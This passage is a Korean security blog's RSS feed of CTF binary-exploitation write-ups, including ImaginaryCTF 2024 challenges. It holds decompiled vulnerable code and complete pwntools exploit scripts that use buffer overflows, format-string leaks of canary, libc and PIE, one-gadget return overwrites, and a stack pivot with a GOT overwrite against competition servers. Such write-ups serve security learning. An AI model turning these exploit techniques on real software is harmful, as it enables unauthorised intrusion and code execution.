  this-&amp;gt;sum_int = this-&amp;gt;int2 + this-&amp;gt;int1;
  result = this;
  this-&amp;gt;result = this-&amp;gt;sum_int;
  return result;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;backdoor 함수를 보면 result의 값이 read의 사이즈가 된다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;setnumber_floater 함수에서 큰 소수를 작은 소수로 나누게 되면 값이 커지는데&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;이를 이용해서 bof를 트리거할 수 있다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;win 함수가 존재하고 canary, pie 없으므로 익스는 간단하다.&lt;/p&gt;
&lt;pre id=&quot;code_1722163317198&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *

# p = process('./test')
p = remote('34.66.114.153', 30734)

def float_calc(f1,f2):
	p.sendlineafter(b'&amp;gt;',b'1')
	p.sendlineafter(b'&amp;gt;',str(f1).encode())
	p.sendlineafter(b'&amp;gt;',str(f2).encode())

def backdoor(pay):
	p.sendlineafter(b'&amp;gt;',b'1337')
	p.sendlineafter(b'&amp;gt;',pay)

win = 0x401740

f1 = 9.99999999999999999
f2 = 0.001
float_calc(f1,f2)

pay = b'A'*0x408 + p64(win+8)
backdoor(pay)

p.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[ unsolved ]&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;pwn / User management&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;637&quot; data-origin-height=&quot;134&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tR8N1/btsIO22HnHH/Fk2MbaWZGeRbIIDfQUn6q0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tR8N1/btsIO22HnHH/Fk2MbaWZGeRbIIDfQUn6q0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tR8N1/btsIO22HnHH/Fk2MbaWZGeRbIIDfQUn6q0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtR8N1%2FbtsIO22HnHH%2FFk2MbaWZGeRbIIDfQUn6q0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;637&quot; height=&quot;134&quot; data-origin-width=&quot;637&quot; data-origin-height=&quot;134&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1722166261122&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int menu_num; // [rsp+Ch] [rbp-4h] BYREF

  setup();
  while ( loop_flag )
  {
    menu();
    printf(&quot;Enter choice: &quot;);
    __isoc99_scanf(&quot;%1d&quot;, &amp;amp;menu_num);
    while ( getchar() != '\n' )
      ;
    switch ( menu_num )
    {
      case 1:
        admin_login();
        break;
      case 2:
        create_user();
        break;
      case 3:
        user_login();
        break;
      case 4:
        if ( uid == 0xFFFFFFFE )
        {
          printf(&quot;\x1B[1;31m&quot;);
          puts(&quot;You are not logged in&quot;);
        }
        else
        {
          uid = 0xFFFFFFFE;
          printf(&quot;\x1B[1;32m&quot;);
          puts(&quot;Logged out&quot;);
        }
        printf(&quot;\x1B[0m&quot;);
        break;
      case 5:
        view_desc();
        break;
      case 6:
        printf(&quot;\x1B[1;32m&quot;);
        puts(&quot;see ya later&quot;);
        printf(&quot;\x1B[0m&quot;);
        loop_flag = 0;
        break;
      default:
        printf(&quot;\x1B[1;31m&quot;);
        puts(&quot;Invalid choice&quot;);
        printf(&quot;\x1B[0m&quot;);
        break;
    }
  }
  return 0LL;
}&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1722166268873&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;unsigned __int64 admin_login()
{
  int i; // [rsp+Ch] [rbp-44h]
  char id[32]; // [rsp+10h] [rbp-40h] BYREF
  char pw[24]; // [rsp+30h] [rbp-20h] BYREF
  unsigned __int64 v4; // [rsp+48h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  for ( i = 0; i &amp;lt;= 7; ++i )
    password[i] = rand();
  puts(&quot;what do you want to do here?&quot;);
  fgets(s1, 0x15, stdin);
  if ( !strncmp(s1, &quot;manage users&quot;, 0xCuLL) )
  {
    printf(&quot;Enter username: &quot;);
    __isoc99_scanf(&quot;%19s&quot;, id);
    printf(&quot;Enter password: &quot;);
    __isoc99_scanf(&quot;%19s&quot;, pw);
    if ( !strcmp(pw, password) &amp;amp;&amp;amp; !strcmp(id, username) )
    {
      uid = 0xFFFFFFFF;
      printf(&quot;\x1B[1;32m&quot;);
      puts(&quot;Logged in as admin&quot;);
      printf(&quot;\x1B[0m&quot;);
    }
    else
    {
      printf(&quot;\x1B[1;31m&quot;);
      puts(&quot;Wrong username or password&quot;);
      printf(&quot;\x1B[0m&quot;);
    }
  }
  else
  {
    printf(&quot;\x1B[1;31m&quot;);
    puts(&quot;You are not allowed to do that!!&quot;);
    printf(&quot;\x1B[0m&quot;);
  }
  return v4 - __readfsqword(0x28u);
}&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1722166283006&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;int create_user()
{
  int i; // [rsp+Ch] [rbp-4h]

  if ( uid == 0xFFFFFFFF )
  {
    if ( count &amp;gt; 1 )
    {
      printf(&quot;\x1B[1;31m&quot;);
      puts(&quot;No more space for users&quot;);
      return printf(&quot;\x1B[0m&quot;);
    }
    else
    {
      printf(&quot;Enter username: &quot;);
      fgets(user_info[count].username, 0x1E, stdin);
      printf(&quot;Enter password: &quot;);
      fgets(user_info[count].password, 0x1E, stdin);
      printf(&quot;Enter description: &quot;);
      fgets(user_info[count].desc, 0x131, stdin);
      for ( i = 0; i &amp;lt; count; ++i )
      {
        if ( !strcmp(user_info[i].username, user_info[count].username) )
        {
          printf(&quot;\x1B[1;31m&quot;);
          puts(&quot;User already exists&quot;);
          return printf(&quot;\x1B[0m&quot;);
        }
      }
      printf(&quot;\x1B[1;32m&quot;);
      puts(&quot;User created successfully&quot;);
      printf(&quot;\x1B[0m&quot;);
      return ++count;
    }
  }
  else
  {
    printf(&quot;\x1B[1;31m&quot;);
    puts(&quot;You need to be logged in as admin to create a new user&quot;);
    return printf(&quot;\x1B[0m&quot;);
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1722166293271&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;unsigned __int64 user_login()
{
  int idx; // [rsp+Ch] [rbp-54h]
  char id[32]; // [rsp+10h] [rbp-50h] BYREF
  char pw[40]; // [rsp+30h] [rbp-30h] BYREF
  unsigned __int64 v4; // [rsp+58h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  if ( uid == 0xFFFFFFFE )
  {
    printf(&quot;Enter username: &quot;);
    fgets(id, 0x1E, stdin);
    printf(&quot;Enter password: &quot;);
    fgets(pw, 0x1E, stdin);
    for ( idx = 0; idx &amp;lt;= 1; ++idx )
    {
      if ( !strcmp(user_info[idx].username, id) &amp;amp;&amp;amp; !strcmp(user_info[idx].password, pw) )
      {
        uid = idx;
        printf(&quot;\x1B[1;32m&quot;);
        printf(&quot;Logged in as %s\n&quot;, id);
        printf(&quot;\x1B[0m&quot;);
        return v4 - __readfsqword(0x28u);
      }
    }
    printf(&quot;\x1B[1;31m&quot;);
    puts(&quot;Wrong username or password&quot;);
    printf(&quot;\x1B[0m&quot;);
  }
  else
  {
    printf(&quot;\x1B[1;31m&quot;);
    puts(&quot;You are already logged in&quot;);
    printf(&quot;\x1B[0m&quot;);
  }
  return v4 - __readfsqword(0x28u);
}&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1722166307124&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;unsigned __int64 view_desc()
{
  char s[312]; // [rsp+0h] [rbp-140h] BYREF
  unsigned __int64 v2; // [rsp+138h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  if ( (unsigned int)uid &amp;lt; 0xFFFFFFFE )
  {
    qmemcpy(s, user_info[uid].desc, 0x131uLL);
    if ( strchr(s, '$') )
    {
      puts(&quot;fr!? what is this description dude??&quot;);
    }
    else
    {
      printf(&quot;The description for: &quot;);
      printf(user_info[uid].username);
      printf(&quot; is: &quot;);
      printf(s);
      putchar(0xA);
    }
  }
  else
  {
    printf(&quot;\x1B[1;31m&quot;);
    puts(&quot;You need to be logged in to see the description&quot;);
    printf(&quot;\x1B[0m&quot;);
  }
  return v2 - __readfsqword(0x28u);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;strcmp는 길이 제한이 없어서 하나만 입력해 1번째 문자와 동일하면 true를 받을 수 있다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;그렇게 fsb와 rop로 연계시켜주면 된다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;(full relro라서 got overwrite 불가능)&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>CTF</category>
      <author>ssongk</author>
      <guid isPermaLink="true">https://ssongkit.tistory.com/826</guid>
      <comments>https://ssongkit.tistory.com/826#entry826comment</comments>
      <pubDate>Sun, 28 Jul 2024 19:23:02 +0900</pubDate>
    </item>
    <item>
      <title>ImaginaryCTF 2024 (Pwn)</title>
      <link>https://ssongkit.tistory.com/825</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1395&quot; data-origin-height=&quot;576&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/SRC9n/btsIJw9mcEf/pWJmAJBNoythsv1SALfzO1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/SRC9n/btsIJw9mcEf/pWJmAJBNoythsv1SALfzO1/img.png&quot; data-alt=&quot;시간 날 때 포너블 문제 구경했고 3개 풀었다&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/SRC9n/btsIJw9mcEf/pWJmAJBNoythsv1SALfzO1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FSRC9n%2FbtsIJw9mcEf%2FpWJmAJBNoythsv1SALfzO1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1395&quot; height=&quot;576&quot; data-origin-width=&quot;1395&quot; data-origin-height=&quot;576&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;시간 날 때 포너블 문제 구경했고 3개 풀었다&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[ solved ]&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;pwn / imgstore&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;533&quot; data-origin-height=&quot;135&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dQWTW8/btsIKc3qLpg/98ST8RrWHeDyg6xMAq8j91/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dQWTW8/btsIKc3qLpg/98ST8RrWHeDyg6xMAq8j91/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dQWTW8/btsIKc3qLpg/98ST8RrWHeDyg6xMAq8j91/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdQWTW8%2FbtsIKc3qLpg%2F98ST8RrWHeDyg6xMAq8j91%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;533&quot; height=&quot;135&quot; data-origin-width=&quot;533&quot; data-origin-height=&quot;135&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;바이너리는 좀 긴데 리네이밍하면서 보니 취약한 부분은 한정되어 있었다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;3번 메뉴인 sell 함수에서 fsb 트리거할 수 있고&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;feedbeef 조건 맞춰주면 bof를 트리거할 수 있다.&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;근데 bof는 트리거 해도 fgets가 작동을 안한다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;(왜 그런진 모르겠음)&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;그래서 그냥 리턴 주소를 원가젯으로 덮어서 쉘 땄다.&lt;/p&gt;
&lt;pre id=&quot;code_1721655949340&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;unsigned __int64 sell()
{
  char v1; // [rsp+7h] [rbp-59h] BYREF
  int buf; // [rsp+8h] [rbp-58h] BYREF
  int fd; // [rsp+Ch] [rbp-54h]
  char title[72]; // [rsp+10h] [rbp-50h] BYREF
  unsigned __int64 v5; // [rsp+58h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  fd = open(&quot;/dev/urandom&quot;, 0);
  read(fd, &amp;amp;buf, 4uLL);
  close(fd);
  buf = (unsigned __int16)buf;
  do
  {
    printf(&quot;Enter book title: &quot;);
    fgets(title, 0x32, stdin);
    printf(&quot;Book title --&amp;gt; &quot;);
    printf(title);                              // fsb
    puts(&amp;amp;s);
    if ( 0x13F5C223 * buf == feedbeef )
    {
      dword_608C = 2;
      bof(2);
    }
    puts(&quot;Sorry, we already have the same title as yours in our database; give me another book title.&quot;);
    printf(&quot;Still interested in selling your book? [y/n]: &quot;);
    __isoc99_scanf(&quot;%1c&quot;, &amp;amp;v1);
    getchar();
  }
  while ( v1 == 'y' );
  puts(&amp;amp;s);
  printf(&quot;%s[-] Exiting program..%s\n&quot;, &quot;\x1B[31m&quot;, &quot;\x1B[0m&quot;);
  sleep(1u);
  return __readfsqword(0x28u) ^ v5;
}&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1721655959661&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;unsigned __int64 __fastcall bof(int a1)
{
  char s[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 v3; // [rsp+78h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  logo2();
  if ( a1 == 2 )
  {
    printf(&quot;%s[/] UNDER DEVELOPMENT %s\n&quot;, &quot;\x1B[44m&quot;, &quot;\x1B[0m&quot;);
    putchar('&amp;gt;');
    fgets(s, 0xA0, stdin);                      // bof
  }
  else
  {
    printf(&quot;%s[!] SECURITY BREACH DETECTED%s\n&quot;, &quot;\x1B[41m&quot;, &quot;\x1B[0m&quot;);
    puts(&quot;[+] BAD HACKER!!&quot;);
  }
  return __readfsqword(0x28u) ^ v3;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1721656136504&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *

# context.log_level = 'debug'
context.arch = 'amd64'

def sell(title):
	p.sendlineafter(b'title:',title)
	p.recvuntil(b'Book title --&amp;gt; ')
	data = p.recvline()[:-1]
	p.sendlineafter(b'[y/n]: ',b'y')
	return data

p = process('./imgstore')
p = remote('imgstore.chal.imaginaryctf.org', 1337)
p.sendlineafter(b'&amp;gt;&amp;gt; ',b'3')

stack = int(sell(b'%15$p'),16)
print('stack', hex(stack))

canary = int(sell(b'%17$p'),16)
print('canary', hex(canary))

libc = int(sell(b'%25$p'),16) - 0x24083
print('libc', hex(libc))
one = [0xe3afe,0xe3b01,0xe3b04]
og = libc + one[1]

magic = int(sell(b'%7$p'),16) &amp;amp; 0xffffffff
magic *= 0x13F5C223
print('magic', hex(magic))

pie = int(sell(b'%14$p'),16) - 0x22b0
print('pie', hex(pie))

sell(fmtstr_payload(8, {stack-0x18:og&amp;amp;0xff}, write_size='byte'))
sell(fmtstr_payload(8, {stack-0x17:(og&amp;gt;&amp;gt;8)&amp;amp;0xff}, write_size='byte'))
sell(fmtstr_payload(8, {stack-0x16:(og&amp;gt;&amp;gt;16)&amp;amp;0xff}, write_size='byte'))
sell(fmtstr_payload(8, {stack-0x15:(og&amp;gt;&amp;gt;24)&amp;amp;0xff}, write_size='byte'))
sell(fmtstr_payload(8, {stack-0x14:(og&amp;gt;&amp;gt;32)&amp;amp;0xff}, write_size='byte'))
sell(fmtstr_payload(8, {stack-0x13:(og&amp;gt;&amp;gt;40)&amp;amp;0xff}, write_size='byte'))

p.sendlineafter(b'title:',b'title')
p.sendlineafter(b'[y/n]: ',b'n')

p.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;pwn / ropity&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;465&quot; data-origin-height=&quot;132&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ct30eq/btsIHo51qTM/p3d1weFaY4A3k0zkDyFTK1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ct30eq/btsIHo51qTM/p3d1weFaY4A3k0zkDyFTK1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ct30eq/btsIHo51qTM/p3d1weFaY4A3k0zkDyFTK1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fct30eq%2FbtsIHo51qTM%2Fp3d1weFaY4A3k0zkDyFTK1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;465&quot; height=&quot;132&quot; data-origin-width=&quot;465&quot; data-origin-height=&quot;132&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;fgets를 한 번만 할 수 있다.&lt;/p&gt;
&lt;pre id=&quot;code_1721656167087&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[8]; // [rsp+8h] [rbp-8h] BYREF

  return (unsigned int)fgets(s, 0x100, _bss_start);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;문제 설명에 플래그 파일 이름이 &quot;flag.txt&quot;인 것을 알려줬고 printfile이라는 함수가 있는 것으로 보아&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;이걸 이용해 플래그를 읽어내야 함을 추측할 수 있다.&lt;/p&gt;
&lt;pre id=&quot;code_1721656284236&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;signed __int64 __fastcall printfile(const char *a1, __int64 a2, int a3)
{
  int v3; // esi
  size_t v4; // r10

  v3 = sys_open(a1, 0, a3);
  return sys_sendfile(1, v3, 0LL, v4);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;두 함수의 어셈을 보면서 문제를 풀었다.&lt;/p&gt;
&lt;pre id=&quot;code_1721656483138&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;.text:0000000000401136                 public main
.text:0000000000401136 main            proc near               ; DATA XREF: _start+18&amp;uarr;o
.text:0000000000401136
.text:0000000000401136 s               = byte ptr -8
.text:0000000000401136
.text:0000000000401136 ; __unwind {
.text:0000000000401136                 endbr64
.text:000000000040113A                 push    rbp
.text:000000000040113B                 mov     rbp, rsp
.text:000000000040113E                 sub     rsp, 10h
.text:0000000000401142                 mov     rdx, cs:__bss_start ; stream
.text:0000000000401149                 lea     rax, [rbp+s]
.text:000000000040114D                 mov     esi, 100h       ; n
.text:0000000000401152                 mov     rdi, rax        ; s
.text:0000000000401155                 call    _fgets
.text:000000000040115A                 nop
.text:000000000040115B                 leave
.text:000000000040115C                 retn&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1721656361009&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;.text:000000000040115D                 public printfile
.text:000000000040115D printfile       proc near
.text:000000000040115D
.text:000000000040115D var_8           = qword ptr -8
.text:000000000040115D
.text:000000000040115D ; __unwind {
.text:000000000040115D                 endbr64
.text:0000000000401161                 push    rbp
.text:0000000000401162                 mov     rbp, rsp
.text:0000000000401165                 mov     [rbp+var_8], rdi
.text:0000000000401169                 mov     rax, 2
.text:0000000000401170                 mov     rsi, 0          ; flags
.text:0000000000401177                 syscall                 ; LINUX - sys_open
.text:0000000000401179                 mov     rsi, rax        ; in_fd
.text:000000000040117C                 mov     rdi, 1          ; out_fd
.text:0000000000401183                 mov     rdx, 0          ; offset
.text:000000000040118A                 mov     r8, 100h
.text:0000000000401191                 mov     rax, 28h ; '('
.text:0000000000401198                 syscall                 ; LINUX - sys_sendfile
.text:000000000040119A                 nop
.text:000000000040119B                 pop     rbp
.text:000000000040119C                 retn&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;스탯 피봇팅으로 got overwrite를 수행해서 fgets를 printfile 함수 중간으로 바꿔서 문제를 풀었다.&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1721656397080&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *

# context.log_level = 'debug'

# p = process('./vuln')
p = remote('ropity.chal.imaginaryctf.org', 1337)

main = 0x401142
printfile = 0x401165

pay = b'A'*8 + p64(0x404020) + p64(main)
p.sendline(pay)

pay = p64(printfile+4) + p64(0x404038) + p64(0x401149) + b'flag.txt\x00'
p.sendline(pay)

p.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;pwn / onewrite&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;485&quot; data-origin-height=&quot;133&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dVB9xm/btsIHU4tXxa/sOlxf53t4raKPMesnKBDvk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dVB9xm/btsIHU4tXxa/sOlxf53t4raKPMesnKBDvk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dVB9xm/btsIHU4tXxa/sOlxf53t4raKPMesnKBDvk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdVB9xm%2FbtsIHU4tXxa%2FsOlxf53t4raKPMesnKBDvk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;485&quot; height=&quot;133&quot; data-origin-width=&quot;485&quot; data-origin-height=&quot;133&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;한 번만 쓸 수 있고 2.35이면서 full relro 보호기법이라서 뭔가 fsop인 것 같긴했다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;pwn.college에서 실습했던 _io_wfile_vtable을 오버라이트하는 방법으로 익스했다.&lt;/p&gt;
